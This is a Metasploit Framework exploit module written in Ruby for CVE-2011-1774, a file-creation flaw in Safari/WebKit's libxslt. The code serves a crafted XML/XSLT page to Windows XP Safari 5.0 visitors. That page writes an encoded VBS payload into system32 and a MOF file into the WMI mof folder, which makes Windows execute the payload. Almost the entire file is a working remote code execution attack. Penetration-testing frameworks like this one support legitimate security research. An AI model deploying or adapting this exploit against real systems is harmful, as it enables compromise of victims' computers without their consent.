##
# $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'Apple Safari Webkit libxslt Arbitrary File Creation',
			'Description'     => %q{
					This module exploits a file creation vulnerability in the Webkit
				rendering engine. It is possible to redirect the output of a XSLT
				transformation to an arbitrary file. The content of the created file must be
				ASCII or UTF-8. The destination path can be relative or absolute. This module
				has been tested on Safari and Maxthon. Code execution can be acheived by first
				uploading the payload to the remote machine in VBS format, and then upload a MOF
				file, which enables Windows Management Instrumentation service to execute the VBS.
			},
			'License'         => MSF_LICENSE,
			'Author'          => ['Nicolas Gregoire'],
			'Version'         => '$Revision: 13987 $',
			'References'      =>
				[
					['CVE', '2011-1774'],
					['OSVDB', '74017'],
					['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],
				],
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'         =>
				{
					'Space' => 2048,
				},
			'Platform'        => 'win',
			'Targets'         =>
				[
					#Windows before Vista
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 20 2011'))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Check target before attacking
		agent = request.headers['User-Agent']
		if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/
			print_error("This target isn't supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		url =  "http://"
		url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		url += ":" + datastore['SRVPORT'] + get_resource() + "/"

		content = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
	 This is needed, in order to later reference the XSLT stylesheet by a #fragment
	 This trick allows to have both the XML and the XSL in the same file
	 Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
 <!ATTLIST xsl:stylesheet
 id ID #REQUIRED
>]>
<doc>

<!-- Define location and content of the files -->
<mof>
	<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location>
	<content><![CDATA[#{@mof_content}]]></content>
</mof><vbs>
	<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location>
	<content><![CDATA[#{@vbs_content}]]></content>
</vbs>

<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:sx="http://icl.com/saxon"
  extension-element-prefixes="sx"
  xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />

<!-- The XSLT template -->
<xsl:template match="/">
	<!-- Define some XSLT variables -->
	<xsl:variable name="moflocation" select="//mof/location/text()"/>
	<xsl:variable name="vbslocation" select="//vbs/location/text()"/>
	<!-- Create the files -->
	<sx:output file="{$vbslocation}" method="text">
		<xsl:value-of select="//vbs/content"/>
	</sx:output>
	<sx:output file="{$moflocation}" method="text">
		<xsl:value-of select="//mof/content"/>
	</sx:output>
	<!-- Some output to the browser -->
	<html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
		EOS

		#Clear the extra tabs
		content = content.gsub(/^\t\t/, '')

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, content, {'Content-Type'=>'application/xml'})
		handler(cli)

	end

	def exploit
		# In order to save binary data to the file system the payload is written to a VBS
		# file and execute it from there via a MOF
		@mof_name = rand_text_alpha(rand(5)+5) + ".mof"
		@vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"

		print_status("Encoding payload into vbs...")
		payload = generate_payload_exe
		@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

		print_status("Generating mof file...")
		@mof_content = generate_mof(@mof_name, @vbs_name)
		super
	end

end